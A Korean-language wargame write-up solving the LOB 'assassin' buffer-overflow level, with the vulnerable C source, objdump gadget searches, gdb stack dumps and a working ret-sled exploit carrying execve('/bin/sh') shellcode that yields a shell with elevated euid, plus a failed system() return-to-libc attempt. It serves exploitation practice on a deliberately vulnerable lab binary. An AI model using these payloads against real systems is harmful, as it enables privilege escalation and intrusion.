LOB giant => assassin
[giant@localhost giant]$ cat assassin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
스택을 사용하는 것도 아니고 RTL도 아니라고 한다. 또한 리턴주소가 라이브러리영역으로 변조되는 것도 막혔다.
풀이
음 기법이 따로 적혀있질 않아서 그냥 가젯(?)을 찾아 풀어보기로 했다. 이번 같은 경우 ppr 같은 가젯이 아니라 그냥 ret만 있어도 되서 ret를 찾아 리턴을 한번 더 해준 다음 그곳에 오는 주소를 변조해주면 될 것 같다. ( 여기서 사용하는 기법을 ret 슬레드라고 한다고 한다. )
[giant@localhost tmp]$ objdump -S /lib/libc.so.6 | grep ret
처음엔 아무생각 없이 libc 에서 ret를 찾았는데 라이브러리 영역으로 ret를 변조할 수 없으니 assassin 파일에서 ret를 찾아주자.
[giant@localhost tmp]$ objdump -S assassin | grep ret
8048336: c3 ret
8048435: c3 ret
804843c: c3 ret
804845c: c3 ret
8048464: c3 ret
804851e: c3 ret
8048542: c3 ret
8048548: c3 ret
8048565: c3 ret
[giant@localhost tmp]$
다음과 같은 결과가 있다. 이 중 하나의 주소로 ret값을 변조하여 ret를 두번 실행시켜 쉘을 따면 될 것 같다.
[giant@localhost tmp]$ ./assassin `python -c "print 'A'*48+'\x90'*100+'B'*48"`
쉘코드가 들어갈 곳으로 점프하기 위해 주소를 알아내야하는데 그를 위해 위와 같이 인자를 넣어주고 분석을 하였다.
0xbffffb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbb0: 0x41414141 0x41414141 0x90904141 0x90909090
(gdb)
0xbffffbc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc10: 0x90909090 0x90909090 0x90909090 0x42429090
0xbffffc20: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffc30: 0x42424242 0x42424242 0x42424242
대충 nop 이 끼어져 있는 0xbffffbe0으로 점프 시켜주면 될 것 같다.
[giant@localhost tmp]$ ./assassin `python -c "print 'A'*44 + '\x36\x83\x04\x08' + '\xe0\xfb\xff\xbf' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6?珹퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??째
?
bash$ id
uid=514(giant) gid=514(giant) groups=514(giant)
bash$
성공적으로 쉘을 딸 수 있었다.
[giant@localhost giant]$ ./assassin `python -c "print 'A'*44 + '\x36\x83\x04\x08' + '\xe0\xfb\xff\xbf' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6?珹퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??째
?
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$
시도
RTL이 안된다 그래서 ret슬레드에 대해 찾아보고 ret슬레드를 사용한 뒤 RTL을 사용할 수 있지 않을까? 하는 반항심에 시도해봤다.
[giant@localhost tmp]$ export bin="/bin/sh"
환경변수에 /bin/sh를 올려주고
[giant@localhost tmp]$ ./dassassin
bin address is 0xbffffefb
주소를 구해준다.
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb)
system 주소를 구해주고 쉘코드를 작성해보자.
[giant@localhost tmp]$ ./assassin "`python -c "print 'A'*44 + '\x36\x83\x04\x08' + '\xe0\x8a\x05\x40' + 'AAAA' + '\xf9\xfe\xff\xbf'"`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6??@AAAA航
Segmentation fault (core dumped)
[giant@localhost tmp]$
하지만 어째선지 system함수로는 가지만 /bin/sh을 실행시켜주진 않고 그냥 돌아오는 모습을 확인할 수 있었다. ( system함수에 ret에 exit()를 넣어주면 정상적으로 그냥 종료되는 것을 확인 )
음... 왜 안되는 것일까? /bin/sh문자열을 환경변수 말고 libc에서 찾아 그곳으로 줘봐도 마찬가지로 되지 않았따! 에라 모르겠따!